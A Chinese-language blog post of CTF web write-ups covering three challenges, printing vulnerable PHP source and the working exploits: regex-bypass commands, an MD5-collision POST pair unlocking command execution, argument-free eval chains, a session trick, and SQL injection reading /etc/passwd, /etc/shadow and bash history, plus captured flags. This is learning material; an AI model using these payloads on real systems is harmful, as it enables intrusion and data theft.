想了很久,雖然這篇可能記的東西不完全屬於自己,但是畢竟技術力不夠。而且學習還是要寫寫筆記的,所以乾脆就寫作一個集合,正好也算記錄自己的日常。標題只是好玩寫的,所以不要想太多就是了。寫題嘛,快樂就好了。

[安洵杯 2019]easy_web

RegexpMD5FileInclusionfastcoll

題目的頁面一打開就顯示了兩張圖,很不一樣的是有一張是 Base64 嵌入在網頁裡的,這種做法一般比較少。於是看了一眼 url,發現有兩個參數,其中的 img 給的很像是 Base64 編碼。於是嘗試補全等號然後解碼,發現更像了,於是再解密了一次,得到了 3535352e706e67。看起來像 hex,嘗試解碼後果然得到了線索 555.png。於是便想到包含文件。把 index.php 一頓操作之後得到了頁面源碼(這裡截取 php 部分)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>

觀察到可以執行的點是參數 cmd,但是正則過濾十分苛刻。這裡有一個點,對於 php 來說,正則需要使用 \\\ 來匹配才能匹配到反斜槓,所以實際上反斜槓還能用。在一番查找下,我找到了另外一個可以用的指令 sort。於是這部分就有了兩種解決方法。

1
2
ca\t /fla\g
sort /flag

剩下的就是 MD5 碰撞的問題。一番查找之下,我找到了一個生成 MD5 碰撞字符串的工具。生成好之後把字符串分別 urlencode 之後組合成 POST 參數,使用 Burpsuite 發送請求(HackBar 依舊沒有成功)。有一個比較神奇的點是,我在把 POST 請求最後的換行符去掉之後才請求成功的。有可能是這個原因導致使用 HackBar 無法成功得到 flag。

這裡貼上我使用的兩個參數

1
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%91r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%1E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%8A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5DHd%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%0C%1B%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AE%D0%A6%09Q%2B&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%11r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%9E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%0A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5D%C8d%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%8C%1A%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AEP%A6%09Q%2B

準確無誤地發送封包之後可以得到 flag。

1
flag{f9dccbe4-f6d1-4928-9904-fc1e1d39944d}

[GXYCTF2019]禁止套娃

RegexpRCESessionSource Leak

題目開始就只有一句話,Header 和 Cookie 也沒得線索,於是果斷掃目錄,發現 /.git 響應長度不一樣。於是果斷上 GitHack 拿到了首頁源碼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

啊,看這正則過濾,多麼美妙,真實的一個參數都不給你。不過不慌,我可是搜過半小時相關知識點的萌新。先構造個 scandir(current(localeconv())) 看一下根目錄有啥。這裡的原理就是 localeconv() 輸出的數組中第一個一定是一個 .。根據結果發現 flag.php 在根目錄。於是就得想辦法讀取它啦,但是它不在數組的第一個,有兩種辦法來讀到它。把數組反過來然後整個 next(),也就是 highlight_file(next(array_reverse(scandir(pos(localeconv())))))。或者簡單粗暴,整個 flip 和 rand readfile(array_rand(array_flip(scandir(current(localeconv()))))) 不停地刷新,就能刷到啦。

我還查到了一種神奇的做法,利用 session 來完成。首先在 Console 裡面執行 document.cookie="PHPSESSID=flag.php" 指定 SessionId。然後 exp 寫 show_source(session_id(session_start())); 就能成功讀到 flag.php 從而拿到 flag 了。

1
flag{5f914f8d-550d-4c3a-bdae-345f50997b0d}

[網鼎杯 2018]Comment

Source LeakSQL Injectiongithacker

這題是事先就被透露了是 git 源碼洩露的,其實還有個要點,Console 裡說沒有 commit,這點很重要。調整 git 的 HEAD 才能拿到完整的源碼,使用到的工具是 githacker。恢復源碼之後可以拿到 write_do.php。仔細讀一讀,不難發現,修改的時候 $category = mysql_fetch_array($result)['category'];,這裡的變量 $category 會被直接傳入 SQL 語句中。所以只要想辦法使 content 變成我們想要的數據就行了。所以,可以使 category',content=payload/* 然後提交之後再修改 content 使其為 */# 閉合一個註釋然後把後面的語句都註釋掉,這個時候,語句變化了,這樣就能使 content 輸出我們需要的內容。

1
2
3
4
5
$sql = "insert into comment
set category = '',content=payload/*',
content = '*/#',
bo_id = '$bo_id'";
"insert into comment set category = '',content=payload/**/#"

一開始我是想直接找到用戶密碼的,嘗試讀取 /etc/passwd/etc/shadow 未果之後,我又長了新知識。根據 /etc/passwd 下的提示 ,www 用戶可以使用 bash,於是查詢該用戶的 .bash_history 找到了線索,讀取 /tmp/html/.DS_Store。這裡還有個要點,因為文件太長了,使用 load_file() 讀取的時候可能顯示不完整,所以就用 hex() 轉換一下,構造 ',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*,解碼之後找到了線索 flag_ 8946e1ff1ee3e40f.php。按照一樣的套路讀取這個文件可以讀取到 flag。

1
flag{bcd19c68-e4eb-43d7-845a-7a51bce22828}